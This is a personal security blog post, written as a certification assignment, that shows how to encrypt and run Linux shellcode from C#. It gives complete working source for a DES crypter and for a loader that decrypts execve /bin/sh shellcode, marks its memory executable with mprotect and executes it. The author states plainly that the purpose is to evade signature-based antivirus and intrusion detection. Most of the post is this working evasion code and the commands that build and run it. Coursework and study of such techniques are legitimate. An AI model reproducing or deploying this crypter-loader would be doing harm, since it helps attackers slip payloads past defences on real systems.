Oleg's Web Log

Stochastic records on Information Security and IT in general

High-level language shellcode encryption on Linux (SLAE, Assignment #7)

Category: Exploit Development

Written on

This post is similar to the custom encoding one I wrote earlier. In this post we will transform the shellcode by means of higher-level programming language. But instead of encoding, this time we will employ encryption.

We all know that inventing your own cryptography algorithm, especially if you aren't a Nobel laureate in cryptography, is a bad idea. Though when the goal is to trick a signature-based anti-virus or intrusion detection system, I would argue that this is not the case. Anyway, to not complicate things and clearly demonstrate the encryption approach, I decided to go with the .NET implementation of the DES algorithm.

My language of choice for this assignment is C#. If you don't know how to execute x86 Linux shellcode from C# application, please, check the link. The solution consists of two programs. The first one is used to encrypt the given shellcode, the second one to decrypt and run it. The decrypter part is based on the C# shellcode execution frame from the aforementioned post.

First comes the source code of the encrypter:

using System;
using System.Security.Cryptography;
using System.Text;
using System.Linq;

class MainClass
{
    private static String shellcodeStr = "\x31\xc9\xf7\xe1\x51\x68\x6e\x2f\x73\x68" +
        "\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80";
    private static Byte[] key = new Byte[8] {1, 2, 3, 4, 5, 6, 7, 8};
    private static Byte[] iv = new Byte[8] {1, 2, 3, 4, 5, 6, 7, 8};


    private static void Main(string[] args)
    {
        Byte[] shellcodeBytes = ToShellcodeBytes(shellcodeStr);
        Byte[] shellcodeBytesEncrypted = Crypt(shellcodeBytes);
        String shellcodeStrEncrypted = ToShellcodeString(shellcodeBytesEncrypted);
        Byte[] shellcodeBytesDecrypted = Decrypt(shellcodeBytesEncrypted);
        String shellcodeStrDecrypted = ToShellcodeString(shellcodeBytesDecrypted);

        Console.WriteLine(
            "Original Shellcode ({0} bytes): {1}\n", 
            shellcodeStr.Length, 
            ToShellcodeString(ToShellcodeBytes(shellcodeStr)));
        Console.WriteLine(
            "Encrypted Shellcode ({0} bytes): {1}\n", 
            shellcodeBytesEncrypted.Length,
            shellcodeStrEncrypted);
        Console.WriteLine(
            "Decrypted Shellcode ({0} bytes): {1}\n", 
            shellcodeBytesDecrypted.Length,
            shellcodeStrDecrypted);

        if (shellcodeBytes.SequenceEqual(shellcodeBytesDecrypted)) 
        {
            Console.WriteLine("Success: Original and Decrypted shelcodes match.");
        }
        else 
        {
            Console.WriteLine("Fail: Original and Decrypted shellcodes do NOT match!");
        }
    }

    private static Byte[] Crypt(Byte[] inputBuffer)
    {
        SymmetricAlgorithm algorithm = DES.Create();
        ICryptoTransform transform = algorithm.CreateEncryptor(key, iv);
        Byte[] outputBuffer = 
            transform.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length);
        return outputBuffer;
    }

    public static Byte[] Decrypt(Byte[] inputBuffer)
    {
        SymmetricAlgorithm algorithm = DES.Create();
        ICryptoTransform transform = algorithm.CreateDecryptor(key, iv);
        Byte[] outputBuffer = 
            transform.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length);

        return outputBuffer;
    }

    private static Byte[] ToShellcodeBytes(String shellcode)
    {
        Byte[] sc_bytes = new Byte[shellcode.Length];
        for (Int32 i = 0; i < shellcode.Length; i++) 
        {
            sc_bytes [i] = (Byte) shellcode [i];
        }

        return sc_bytes;
    }

    private static String ToShellcodeString(Byte[] shellcodeBytes)
    {
        StringBuilder shellcodeStr = new StringBuilder ();

        for (Int32 i = 0; i < shellcodeBytes.Length; i++) 
        {
            shellcodeStr.Append("\\x");
            shellcodeStr.Append(shellcodeBytes [i].ToString("X2"));
        }

        return shellcodeStr.ToString();
    }


}

The shellcode string, initial vector value and the encryption key are all hard-coded into the source. I know that using hard-coded keys and initial vectors is generally a very bad idea, but remember that we are just fooling signature-based software here, not a human analyst. The shellcode used starts the /bin/sh shell.

After compiling and running the above source code, we will get an output with original, encrypted, and decrypted shellcode strings:

mcs encrypter.cs && ./encrypter.exe

The output will also contain a comparison result of the original and decrypted shellcode strings:

Running shellcode encrypter

Running shellcode encrypter

Note that the size of the encrypted strings increased by 3 bytes. This fact may or may not be an issue while writing an exploit for a particular program. If it becomes an issue, some alternative encryption algorithm that does not increase the payload size should be chosen.

The encrypted string from the encrypter's output, along with the same IV and key, is pasted into decrypter source code:

using System;
using System.Runtime.InteropServices;
using Mono.Unix.Native;
using System.Security.Cryptography;

class MainClass
{
    private static String shellcodeStrEncrypted = "\x92\x23\xAD\xAF\x0F\x87\xF0"
        + "\x43\x93\xDA\x66\x62\xC4\x98\x2C\xFE\x33\x25\x89\x35\x1C\xC2\xB7\xD1";
    private static Byte[] key = new Byte[8] {1, 2, 3, 4, 5, 6, 7, 8};
    private static Byte[] iv = new Byte[8] {1, 2, 3, 4, 5, 6, 7, 8};

    private static Int32 PAGE_SIZE = 
        (Int32)Mono.Unix.Native.Syscall.sysconf(SysconfName._SC_PAGESIZE);

    private static void Main(string[] args)
    {
        Byte[] shellcodeBytesEncrypted = ToShellcodeBytes(shellcodeStrEncrypted);
        Byte[] shellcodeBytesDecrypted = Decrypt(shellcodeBytesEncrypted);

        ExecShellcode(shellcodeBytesDecrypted);
    }

    private static Byte[] ToShellcodeBytes(String shellcode)
    {
        Byte[] sc_bytes = new Byte[shellcode.Length];
        for (Int32 i = 0; i < shellcode.Length; i++) 
        {
            sc_bytes [i] = (Byte) shellcode [i];
        }

        return sc_bytes;
    }

    public static Byte[] Decrypt(Byte[] inputBuffer)
    {
        SymmetricAlgorithm algorithm = DES.Create();
        ICryptoTransform transform = algorithm.CreateDecryptor(key, iv);
        Byte[] outputBuffer = 
            transform.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length);

        return outputBuffer;
    }

    private static IntPtr GetPageBaseAddress(IntPtr p)
    {
        return (IntPtr)((Int32)p & ~(PAGE_SIZE - 1));
    }

    private static void MakeMemoryExecutable(IntPtr pagePtr)
    {
        var mprotectResult = Syscall.mprotect (pagePtr, (ulong)PAGE_SIZE, 
            MmapProts.PROT_EXEC | MmapProts.PROT_WRITE);

        if (mprotectResult != 0) 
        {
            Console.WriteLine ("Error: mprotect failed to make page at 0x{0} " +
                "address executable! Result: {1}, Errno: {2}", mprotectResult, 
                Syscall.GetLastError ());
            Environment.Exit (1);
        }
    }

    private delegate void ShellcodeFuncPrototype();

    private static void ExecShellcode(Byte[] shellcodeBytes)
    {
        // Prevent garbage collector from moving the shellcode byte array
        GCHandle pinnedByteArray = GCHandle.Alloc(shellcodeBytes, GCHandleType.Pinned);

        // Get handle for shellcode address and address of the page it is located in
        IntPtr shellcodePtr = pinnedByteArray.AddrOfPinnedObject();
        IntPtr shellcodePagePtr = GetPageBaseAddress(shellcodePtr);
        Int32 shellcodeOffset = (Int32)shellcodePtr - (Int32)shellcodePagePtr;
        Int32 shellcodeLen = shellcodeBytes.GetLength (0);

        // Some debugging information
        Console.WriteLine ("Page Size: {0}", PAGE_SIZE.ToString ());
        Console.WriteLine ("Shellcode address: 0x{0}", shellcodePtr.ToString("x"));
        Console.WriteLine ("First page start address: 0x{0}", 
            shellcodePagePtr.ToString("x"));
        Console.WriteLine ("Shellcode offset: {0}", shellcodeOffset);
        Console.WriteLine ("Shellcode length: {0}", shellcodeLen);

        // Make shellcode memory executable
        MakeMemoryExecutable(shellcodePagePtr);

        // Check if shellcode spans across more than 1 page; make all extra pages
        // executable too
        Int32 pageCounter = 1;
        while (shellcodeOffset + shellcodeLen > PAGE_SIZE) 
        {
            shellcodePagePtr = 
                GetPageBaseAddress(shellcodePtr + pageCounter * PAGE_SIZE);
            pageCounter++;
            shellcodeLen -= PAGE_SIZE;

            MakeMemoryExecutable(shellcodePagePtr);
        }

        // Debug information
        Console.WriteLine ("Pages taken by the shellcode: {0}",
            pageCounter);

        // Make shellcode callable by converting pointer to delegate
        ShellcodeFuncPrototype shellcode_func = 
            (ShellcodeFuncPrototype) Marshal.GetDelegateForFunctionPointer(
                shellcodePtr, typeof(ShellcodeFuncPrototype));

        shellcode_func(); // Execute shellcode

        pinnedByteArray.Free();
    }
}

After compiling and running the decrypter

mcs -reference:Mono.Posix decrypter.cs && ./decrypter.exe

we should get output similar to the one shown on the following print screen:

Running shellcode decrypter

Running shellcode decrypter

As we can see everything worked out as expected.


This blog post was created to fulfill the requirements of the SecurityTube Linux Assembly Expert certification. Student id: SLAE-685.

The source files created while completing the assignment can be found in my GitHub repository.

comments powered by Disqus